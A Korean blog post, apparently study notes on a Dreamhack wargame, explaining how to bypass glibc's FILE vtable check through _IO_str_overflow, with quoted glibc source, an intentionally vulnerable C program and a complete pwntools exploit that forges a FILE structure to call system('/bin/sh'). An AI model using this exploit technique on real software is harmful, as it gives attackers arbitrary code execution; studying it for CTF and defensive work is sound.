ghkdtlwns987
_IO_FILE_vtable_check 본문
저번에 Ubuntu16.04 부터는 vtable_check 루틴이 생겨서 vtable을 그대로 덮을 수 없다고 했다.
이번엔 그 vtable_check 루틴을 어떻게 bypass 하는지 알아보도록 하자.
다음은 vtable_check 루틴이다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
// check
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
다음을 보면 __glibc_unlikely (offset >= section_length)) 라면
_IO_vtable_check() 함수를 호출한다.
다음은 _IO_vtable_check() 함수이다.
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
그렇다면 우린 _IO_file_vtable_check 를 우회하기 위해서는 vtable 내에 있는 함수를가지고 Exploit 해야 한다.
드림핵에서 소개한 방법을 가져올 건데,
_IO_FINISH 함수를 이용한 _IO_str_overflow 를 이용해 Exploit 해보도록 하겠다.
_IO_str_overflow 함수는 _IO_str_jumps 영역에 저장되어 있는데, _IO_str_jumps 영역은 _libc_IO_vtables 영역 내에 존재하기 때문에 이를 이용할 수 있다. (그렇기 때문에, _libc_IO_vtable 구조를 잘 알아두어야 한다.)
다음은 _IO_str_overflow 함수이다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
위의 코드를 보면
_IO_blen 매크로를 사용하여 초기화되는 new_size 변수는 _IO_FILE 구조체의 멤버 변수인 _IO_buf_end와 _IO_buf_base에 의해 결정되는데 다음과 같이 값을 넣어주게 되면 new_size 에 /bin/sh 값이 들어갈 것이다.
_IO_write_ptr = ((binsh - 100) / 2)
_IO_write_base = 0
_IO_buf_end = ((binsh - 100) / 2)
_IO_buf_base = 0
+ 참고로 flush 의 기본 값은 0이기 때문에, 따로 설정해주지 않아도 된다.
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
다음을 보면 new_size 값이 /bin/sh 로 될텐데, _s._allocate_buffer 을 system() 함수로 덮어주면 Exploit 이 될 것이다.
이를 가지고 한번 실습해보자.
다음은 dreamhack 에서 가져온 코드이다.
// gcc -o vtable_bypass vtable_bypass.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
fp = fopen("/dev/urandom","r");
printf("stdout: %p\n",stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
(Ubunut 18.04)
다음 코드는 fp 값에 300 크기만큼의 값을 입력해 줄 수 있다.
난 _IO_write_ptr, _IO_buf_end, _lock, vtable을 전부 조작할 수 있기 때문에 _IO_str_overflow 함수를 호출할 수 있고, _IO_str_overflow 함수 내부에서 호출하는 fp->_s._allocate_buffer 또한 조작할 수 있다.
(_IO_overflow 함수는 추후에 또 다룰 것이다.)(할말이 많다.)
#vtable_bypass.py
from pwn import *
p = process("./vtable_bypass")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vtable_bypass')
print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
print hex(libc_base)
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
p.send(payload)
p.interactive()
Exploit 코드를 보자.
여기서 fake_vtable 값에 _IO_str_overflow - 16 을 준 이유는 _IO_FINISH() 함수가 호출이 될 떄, 0x16 만큼 뺀 값을 호출하기 때문이다. 방금 내가 설명한 내용은 DreamHack 문제를 풀때 상당히 중요하다. 꼭 기억해두도록 하자.
+추가로 _lock , _IO_chain 에 대해서는 곧 다루겠다. 자꾸 내용이 길어지는 이유는 File_structure 은 그만큼 공부할게 많기 때문이다. _IO_File 을 공부하면 기법과 연계된다. (FSOB, House Of Orange... 등등) 그러니 글이 글어지더라도 이해 바란다.)
'시스템' 카테고리의 다른 글
FSOB(_IO_flush_all_lockp ) (0) | 2020.10.10 |
---|---|
flose() 분석 (0) | 2020.10.10 |
FSOB(File Stream Oriented Programming) 1 (0) | 2020.10.10 |
_IO_FILE_vtable 2 (0) | 2020.10.10 |
_IO_FILE_vtable 1 (0) | 2020.10.10 |